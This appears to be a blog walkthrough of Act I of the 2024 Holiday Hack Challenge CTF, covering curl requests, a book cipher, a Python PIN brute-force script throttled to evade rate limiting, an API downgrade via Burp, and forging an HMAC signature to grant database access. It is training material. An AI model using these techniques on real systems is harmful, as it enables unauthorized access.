2024 Holiday Hack Challenge - Act I
We continue on through our winter wonderland of a cyber range/CTF!
We continue on the journey for the 2024 Holiday Hack Challenge, after completing the Prologue.
We'll pick up after we clicked the Go to Act I button in the Story section of the game. Opening the map, shows there are 3 Challenges/Objectives for this Act.
We'll start directly to the left of us (#1) - since Bow Ninecandle can be seen within view of the screen (it's almost like the game designers intended that!). Afterwards, we'll move onto to talk to Morcel Nougat and solve the Frosty Keypad. Lastly, we'll talk to Jewel Loggins and do some hardware hacking.
Objective: cURLing
Talk to Bow - who's at the Challenge Marker #1 (pictured above) - and he can summarize the objective, while also providing a few hints. The objective summary specifies:
Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with web servers and retrieve information like a pro!
After speaking with Bow, click on the Curling Sheet (the green rectangles with the bullseyes on them) to launch the terminal.
Objective Syntax
The upper terminal provides a prompt/question, while the lower terminal allows for user input. The syntax of this walkthrough will look as follows:
Upper Terminal - With Question/Prompt
Lower Terminal, value entered
Explanation - if necessary, an explanation of the command entered.
If any of the flags aren't explained, and you don't know what they mean, be sure to check out the curl manpage, or use a favorite website of mine - explainshell.
Walkthrough - Silver
Welcome to Curling Fun! We will learn some basic curl commands while playing a round of curling.
Yes
1) Unlike the defined standards of a curling sheet, embedded devices often have web servers on non-standard ports. Use curl to retrieve the web page on host "curlingfun" port 8080.
If you need help, run the 'hint' command.
curl http://curlingfun:8080
Following the question, we specify the port after the colon, assuming an HTTP request. The output specifies we made a successful connection, and reminds the user to run hint
for a hint.
2) Embedded devices often use self-signed certificates, where your browser will not trust the certificate presented. Use curl to retrieve the TLS-protected web page at https://curlingfun:9090/
curl -k https://curlingfun:9090
Alternatively, the --insecure
flag could be used instead of -k
. If you attempted to use curl
without either, you would receive an SSL error - explained here.
3) Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter "skip" set to the value "alabaster", declaring Alabaster as the team captain.
curl -k https://curlingfun:9090 -d 'skip=alabaster'
Continue with the -k
flag, and specify the parameter and value as requested using the data flag (-d
).
4) Working with APIs and embedded devices often requires maintaining session state by passing a cookie. Use curl to send a request to https://curlingfun:9090/ with a cookie called "end" with the value "3", indicating we're on the third end of the curling match.
curl -k https://curlingfun:9090 -b 'end=3'
Specify a cookie by passing in a parameter and value with the -b
flag.
5) Working with APIs and embedded devices sometimes requires working with raw HTTP headers. Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/
curl -k https://curlingfun:9090 -i
6) Working with APIs and embedded devices sometimes requires working with custom HTTP headers. Use curl to send a request to https://curlingfun:9090/ with an HTTP header called "Stone" and the value "Granite".
curl -k https://curlingfun:9090 -H 'Stone: Granite'
Use the -H
flag to specify a header.
7) curl will modify your URL unless you tell it not to. For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/../../etc/hacks
curl -k --path-as-is https://curlingfun:9090/../../etc/hacks
This flag was also a hint provided if you talked to Bow all the way through.
Achievement complete!
Walkthrough - Gold
If you talk to Bow after, he mentions a challenge to get Gold by completing the requests in 3 commands. It's a bit misleading, but you don't actually want to follow the previous prompts. Navigate back to the Curling Sheet and open the terminal. If you run ls -al
on the terminal, a HARD-MODE.txt
file exists. Read the contents of the file:
Prefer to skip ahead without guidance? Use curl to craft a request meeting these requirements:
- HTTP POST request to https://curlingfun:9090/
- Parameter "skip" set to "bow"
- Cookie "end" set to "10"
- Header "Hack" set to "12ft"
Curl Command #1
curl -k https://curlingfun:9090 -d 'skip=bow' -b 'end=10' -H 'Hack:12ft'
This uses the flags in the previous commands #2, 3,4, and 6 from Silver mode.
Curl Command #2
After successfully entering the values, the server responds:
Excellent! Now, use curl to access this URL: https://curlingfun:9090/../../etc/button
curl -k --path-as-is https://curlingfun:9090/../../etc/button
This is similar to the command used in Silver mode question #7.
Curl Command #3
Output from the second command instructs:
Great! Finally, use curl to access the page that this URL redirects to: https://curlingfun:9090/GoodSportsmanship
curl -L -k https://curlingfun:9090/GoodSportsmanship
A new flag not previously used, but -L
is used to follow redirects. The server responds with:
Excellent work, you have solved hard mode! You may close this terminal once HHC grants your achievement.
You are awarded the Gold in the cURLing challenge. VICTORRYYYY!!!
Objective Takeways
This objective got us familiar with the curl
command, using various flags, and then finally combining them.
Objective: Frosty Keypad
From talking with Morcel, we discovery that they've lost the code to get into a shredder. Inside the shredder is a piece (or a few hundred) of information needed to solve future challenges. Morcel also mentions a "hint" left by the elves. So at appearance, the challenge seems to require cracking a pin (or two).
Walkthrough - Silver
Clicking on the ATM-like looking shredder, a keypad displays, along with a small post-it note. Clicking on the post-it shows 5 triplets of numbers, appearing to be a cipher of some kind.
Talking with Morcel, he alludes to a "book" of some kind. On top of it, you receive a Hint from talking with Morcel which mentions "National Treasure". For those who haven't seen the Disney classic from 2004 starring everyone's favorite - Nic Cage - the protagonist, Ben Franklin Gates (cuz of course) - uses an Ottendorf Cipher in the movie. I won't spoil the specifics (in case you live under a rock).
Side Quest - Find the Book
Moving around the map, you can find the book to the north east of the Frosty Keypad, behind a big stack of boxes, pictured below.
Click on the book to pick it up, and it is added to your Items, which provides a hyperlink to https://frost-y-book.com/. Briefly inspecting the book, there appears to be 14 pages, of what appears to be 4 paragraphs per page.
Deciphering the Code - Understanding Ottendorf/Book Cipher
Revisiting the numbers on the post-it note, we are presented with 5 triplets of numbers - reading from left to right, top to bottom:
- 2:6:1
- 4:19:3
- 6:1:1
- 3:10:4
- 14:8:3
So the first triplet ranges from 2 to 14, the second triplet ranges from 1 to 19, and the third triplet ranges from 1-4. We know the book ranges in pages from 2 to 14, so it's safe to assume the first triplet is a page number of the book. The second triplet has a wide variance, of 1-19 which is greater than the number of paragraphs or the number of lines in the book, so we can assume the second triplet pertains to the word in the book. Following those assumptions, if the second triplet is the word, then third triplet presumably is the character of the word.
Deciphering the Code Programmatically
You could manually go through and find the letters, but that sounds like a lot of work, and counting and has a chance for mistakes. Instead, we can programmatically find the translation.
Inspecting the page (CTRL + SHIFT + I
--> Inspector tab), shows a js/main.js
file. Navigating to that link, shows the text of the page. Take all the pages - inside the this.pages
variable, starting at "Page 1
... - and paste into a text file (frostybook.txt
).
There's an online book decoder tool to use. Reading the instructions they state:
If your text has multiple pages, you should separate them with —PAGE—.
Looking at the first few lines of the file we just created, there's some formatting changes we'll need to make to the file
We'll use sed
to make the edits:
sed -E 's/^\s*"Page [0-9]{1,2}: /\n—PAGE—n/g'
- Using regex (-E
) to remove the page number prefix any whitespace before it that optionally appears. We run two variations of this - the first to remove the very first"Page 1
prefix. The second variation removes the page prefix for all other pages, but replaces it with a--PAGE--
header, as requested by the online tool. Since using regex withsed
(-E
) does not allow multiple edits in one command, we have to chain twosed
commands together.sed -e 's/",$//g'
- since this text file originally started out as a JavaScript array of pages (this.pages
) - we are removing the quotation and comma delimiter for the array.sed -e 's/\\n\\r\\*/\n/g'
- converting the literal values of\n
and\r
to actual newlines. Necessary to potentially avoid any miscounting of words in the page. Page 6 starts with a quote -"Now, Dasher!...
- which was escaped with a backwards slash (\
) which we optionally need to remove as well.
These three sed
commands can be combined into two - one for the regex edit, and the second for the latter two edits.
cat frostybook.txt| sed -E 's/^\s*"Page 1: //g' | sed -E 's/^\s*"Page [0-9]{1,2}: /\n---PAGE---\n/g' | sed -e 's/",$//g' -e 's/\\n\\r\\*/\n/g'
Navigate to the aforementioned book cipher website (https://www.boxentriq.com/code-breaking/book-cipher), Paste in the formatted text to Book Text, the code values on the post-it note to Codes. Scroll down to the Format section and select the following radio buttons:
- Part 1: Page Number
- Part 2: Word Number
- Part 3: Character Number
Look above at the Result section, and the following code should appear: saNta
. Obviously these letters don't directly translate to numbers on a keypad. For those old enough to remember text messages before a full keyboard - or looked at a phone touchpad, we can use a T9 encoder to convert the letters to numbers. It translates to: 72682
- which when entered into the Frosty Keypad, is correct. VICTORYYYY!!!!
Walkthrough - Gold
Talking to Morcel again, you're tasked with breaking in, this time with a separate code, but no cipher or hint to guess. Sounds like we might need to brute force! You receive a hint mentioning "UV lights".
Side Quest - Find the UV Flashlight
Search around the premises of the Frosty Keypad - behind one of the boxes, to find a UV light.
Using the Flashlight
When returning to the Frosty Keypad, the UV flashlight now appears. Drag the flashlight over each of the numbers. A fingerprint smudge appears on the numbers: 2,6,7 and 8.
Given that we do not have a cipher or way to narrow down those numbers, we must iterate through all of the possibilities of those four numbers. However, given that the Silver level pin was 5 digits, we can iterate across 1024 combinations of those 4 digits of a 5-digit pin.
Python Code
Interacting with the keypad, we can see anytime a pin is provided, and then the Enter
button is pressed, a POST request is made to the server - either using the Network tab of Developer Tools, or a proxy like BurpSuite/ZAP. Use the tool of your choosing to extract the POST request. Create a python script, or edit the script below. Be sure to change the necessary header values to adjust for your specific URL/username, and cookies.
import itertools
import requests
from time import sleep
# Define the endpoint and headers
url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=62044a1e-b48c-4664-865b-6c241f754ccd"
headers = {
"Cookie": "_ga_F6ZZNPR5E5=GS1.1.1731600636.12.1.1731603514.0.0.0; _ga=GA1.1.2043014556.1731448120; CreativeCookieName=eyJ1c2VyaWQiOiIwOTAzZDQ0OC1mM2U3LTQxZjYtOTA0My04NjNlYjIxZjlhMDgifQ.ZzYqtg.jRxEAe_E8hum4Mcnw_114Nk_Oe0",
"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": "https://hhc24-frostykeypad.holidayhackchallenge.com/?&challenge=termFrostyKeypad&username=thezentester&id=62044a1e-b48c-4664-865b-6c241f754ccd&area=frontyardact1&location=59,15&tokens=&dna=ATATATTAATATATATATATATCGATATATATTAGCCGCGATATATATATATATTAATATATATATATGCATATATTACGATATATATATATTACGATATATATATATATTAATATATGC",
"Content-Type": "application/json",
"Origin": "https://hhc24-frostykeypad.holidayhackchallenge.com",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Te": "trailers"
}
# Define the digit set
digits = ['2', '6', '7', '8']
for combo in itertools.product(digits, repeat=5):
# Join the digits to form the combination as a string
answer = ''.join(combo)
# Define the payload with the current answer
payload = {"answer": answer}
# Send the POST request
response = requests.post(url, headers=headers, json=payload)
# Print the response for debugging/monitoring
print(f"Attempted answer: {answer}, Status Code: {response.status_code}")
# Throttle requests to limit spamming
sleep(1)
# Optional: break the loop if a successful answer is found
if response.status_code != 400: # Assuming not 400 means success
print(f"Correct answer found: {answer}")
break
We use python libraries of itertools
, requests
and sleep
throughout the script. The first is used to iterate through all possible combination of our 4 digits, the second to interact with the web server programmatically, and the last to throttle our requests to avoid tripping the rate limiter.
The code created specifies the URL to interact with, and the necessary headers. It also then lists the 4 digits we discovered using the UV light. It then loops through all possible iterations of the 4 digits being used in a 5 digit number. With each number, it provides the payload to the POST request, and then issues the POST request and analyzes the response from the server. The script waits 1 second between each request to bypass the rate limiter.
Bruteforce... and Wait...
Run the script, using a simple python3 bruteforce.py
on the command line and wait. The script will eventually print out the pin: Correct answer found: 22786
!
The game should count your python script's submission as a valid code. If not, go back to the game and enter the code. VICTORYYY!!!!
Fun fact, if you let the script continue to run, it would actually solve the silver level as well, finding that pin. However, since the script listed the digits sequentially (digits = ['2', '6', '7', '8']
) it would've had to iterate through all the combinations with the digits starting with 2 and 6 before you would've gotten a second successful hit.
Objective Takeaways
Now the takeaways start to ramp up. We got some exposure to a Ottendorf/Book Cipher in the Silver objective. In the gold objective, we gained some experience in brute forcing a pin using python's requests
and itertools
libraries.
Objective: Hardware Hacking 101
The next objective gives some exposure to Hardware Hacking, broken into two parts. The first is configuring the UART interface with the proper hardware configurations (Part 1) so we can then interact with the SLH (Santa's Little Helper database tool) to edit the database (Part 2). Talk to Jewel Loggins, a few hops south of the Frosty Keypad, and she'll give you the explanation of the objectives, as well as a few hints.
Hardware Hacking Pt 1 - Silver
Jewel mentioned a note with serial settings, shredded by one of Wombley's elves. This means we'll need to piece together the shredded pieces of paper provided by Morcel at the end of the Frosty Keypad objective. It's useful to play the Silver level with a proxy (Burp/ZAP) reading your traffic. It doesn't have to intercept or delay communication between the server.
Side Quest Unshredding the Note
After successfully completing the Frosty Keypad objective, you receive One Thousand Little Teeny Tiny Shredded Pieces of Paper in your Items. If you've talked to Morcel since receiving the pieces of shredded paper, he gives a hint of a heuristic edge detection python script, which can reassemble the shredded paper. Download both the shreds.zip
file, and the heuristic_edge_detection.py
into the same directory. Then run python3 heuristic_edge_detection.py
. The script will run, with no visible output from the command. However, there is now a assembled_image.png
in the directory. Open it, and it looks like:
The script seems to have worked, but only partially, cutting the photo in half, and printing the note backwards. I manually transcribed it since I figured that would be faster than editing the code, or manually editing the file. It displays the following information:
Baud: 115200
Parity: Even
Data; 7 Bits
Stop Bits: 1 bit
Flow Control: RTS
We'll come back to this in a bit.
UART Interface Manual
Going back to the game, click on the Hardware Part 1 next to Jewel. The game load a user manual, which provides an overview of SLH. It's important to note the PIN Header Labels, and the voltage specified in the book(3 Volts):
Exit out of the book by clicking the X
in the upper right hand corner of the book. From left to right we see a PCB (Printed Circuit Board), a UART Bridge, and the PDA (Personal Digital Assistant).
Connect the USB to the UART by clicking on the unplugged end. Then connect each prong with the wire as follows.
Note: the specific colors used for each wire is not as paramount so much as the T prong of PCB connecting to the R prong of UART #2 (and vice versa). See this link for a visual
PCB | UART |
---|---|
V - Orange | V - Orange |
T - Green | T - Red |
R - Red | R- Green |
G - Black | G - Black |
Toggle the voltage to 3 Volts, as instructed by the manual by clicking on the nub. Then power on the serial device by clicking on the P
button, and a Powering On...
prompt should appear on screen of the PDA.
Set the values of each of the fields to as follows:
Port: USB0
Baud: 115200
Parity: Even
Data; 7 Bits
Stop Bits: 1 bit
Flow Control: RTS
The first value since you are interfacing with the UART using a USB-C connection, and all the other values from the note which we pieced back together.
A quick refresher of what it looks like:
- USB-C plugged in
- 3-Volts
- All 4 UART prongs connected between the Arduino & the PCB (Printed Circuit Board)
- Values input into PDA once powered on.
Hit the S
button, and a response should load:
success! loading bootloader...
Go speak with Jewel Loggins for the next step!
Success! Moving onto gold...
Hardware Hacking Pt 1 - Gold
As mentioned in the objective info, ideally you played the Silver level with Burp turned on, and your browser configured to send traffic to your proxy. If not, play the level again, with Burp turned on. Focus on the /js/main.js
request. Review the Server response as it has the JavaScript code for the game. The beginning of line 881 is shown below:
// Build the URL with the request ID as a query parameter
// Word on the wire is that some resourceful elves managed to brute-force their way in through the v1 API.
// We have since updated the API to v2 and v1 "should" be removed by now.
// const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v1/complete`);
const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v2/complete`);
The comment within the code mentions an updated API, v2, and the old API, v1, "should" be gone.
Finish the game - or find your POST
command from the silver level within the Proxy --> HTTP History tab. After submitting the values and powering on the device, return to Burp, and note the Request/Response sent:
Send the request to Repeater ( CTRL+R
or Right Click within the body of the Request, and click Send to Repeater). Navigate to the Repeater tab, which should be Orange text, and show the request. Change the URI from /app/v2/complete
to /app/v1/complete
and send the request.
Note the HTTP 200 response with true
in the body. If your sound is on, and you're logged into the HHC - you'll hear pleasant sounds of success. VICTORYY!!!!
Hardware Hacking Pt 1 Takeaways
We got a digital experience doing some hardware hacking - getting some exposure to UARTs, PCBs, and PDAs. Secondly, we've reinforced the importance of source code review (and lazy developers, but let's not go down that rabbit hole).
Hardware Hacking Pt 2 - Overview
After completing at least the Silver of Hardware Hacking Pt 1, go back to Jewel Loggins and chat with her again. From talking with Jewel, we find that the access database needs to be edited, and to "grant access to card number 42.
The main distinction between Silver and Gold are the methods by which the database is edited. In silver, the task is intended to be editing the database using the customslh
binary and a password that needs to be found. In gold, the intent is to modify the database without knowing the password, beating the encryption mechanism.
Hardware Hacking Pt 2 - Silver
Jewel also recommends we start by "using the slh
application..." . She mentions the lack of a known password, and recommends searching the terminal thoroughly.
Click on the terminal named Hardware Hacking Part 2, logically located next to the previously vanquished Hardware Hacking Part 1 challenge. The boot menu will first appear, and default to selecting 1. Startup System (Default)
. Hit ENTER
to proceed with bootup.
The terminal boots to our home directory. If you list all the files, including hidden files, within the home directory, it shows that .bash_history
exists, and also has a filesize greater than 0, meaning the previous commands for this account were logged. Read the file, and there is a password!
cat .bash_history
< Truncated for Brevity >
slh --passcode CandyCaneCrunch77 --set-access 1 --id 143
< Truncated for Brevity >
Take the password, and use the banner which was automatically displayed from the slh
tool when the terminal booted. Alternatively, if the display doesn't show, run slh --help
. We can use the .bash_history
command, changing just the --id
value from 143 to 42, as instructed by Jewel. Run the command:
slh --passcode CandyCaneCrunch77 --set-access 1 --id 42
And success! VICTORYYY!!!!!
Hardware Hacking Pt 2 - Gold
As mentioned, the goal of achieving Gold is to complete the task of changing the access level of the database entry ID 42 to "Full Access", without using the slh
binary. Launch the terminal again. When we previously listed files within the home directory, it displayed a file access_cards
previously. List the filetype, and see that it's actually a SQLite database:
slh@slhconsole\> file access_cards
access_cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 4, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Launch the database, using the command sqlite3 access_cards
.
Enumerating the Database
List the databases and tables, using the commands below. Note that there's one database (main
), and two tables - config
and access_cards
.
sqlite> .databases
main: /home/slh/access_cards r/w
sqlite> .tables
access_cards config
List the contents of the config
table:
sqlite> select * from config;
1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
2|hmac_message_format|{access}{uuid}
3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1
4|app_version|1.0
Note the output of the hmac_secret
and the hmac_message_format
, which we will need later on. Show the columns of the access_cards
table:
sqlite> PRAGMA table_info(access_cards);
0|id|INTEGER|0||1
1|uuid|TEXT|0||0
2|access|INTEGER|0||0
3|sig|TEXT|0||0
Select the value of the User with id = 42
to get their UUID, which we need to edit their HMAC signature:
select access, uuid,sig from access_cards where id = 42;
0|c06018b6-5e80-4395-ab71-ae5124560189|ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd
Copy the UUID (c06018b6-5e80-4395-ab71-ae5124560189
) from User 42's access_cards
value. Open up CyberChef - use the HMAC recipe provided as a hint.
- Type in a
1
into the Input text box, and - Paste in the UUID. This is to match the HMAC message format of
{access}{uuid}
which we discovered from theconfig
table. - Take the HMAC secret found within the
config
table (9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
), and paste it into the recipe as the Key value. Cyber chef will output the HMAC Signature:135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096
If for some reason, you get a different value, use this CyberChef Recipe I saved, and repeat steps 1 and 2.
The recipe for Cyber Chef in the link I provided included the HMAC_Secret as the "Key" value already.
Go back to the SQL database, and enter an update statement to change the sig
and access
values for user 42.
sqlite> UPDATE access_cards
...> SET sig = '135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096',
...> access = 1
...> WHERE
...> id =42;
Be sure to note the importance of modifying both the HMAC signature AND the parameter value to specify full access (access = 1
). Hit ENTER
, and after a second or two, you should get some beautiful ASCII art!
VICTORYYYY!!!
Hardware Hacking 101 Part 2 Takeaways
This objective dabbled with some Linux enumeration for the silver objective. For gold, we learned about modifying database entries using the HMAC cryptographic technique.
More to Come...
This is just the conclusion of Act 1, with two more acts to come! Act 2 releases on November 18th (the same day this post comes out), with the ability to share solutions 1 week later. After that, Act 3 will take a slight hiatus for Thanksgiving happening in the USA - beginning on December 2nd.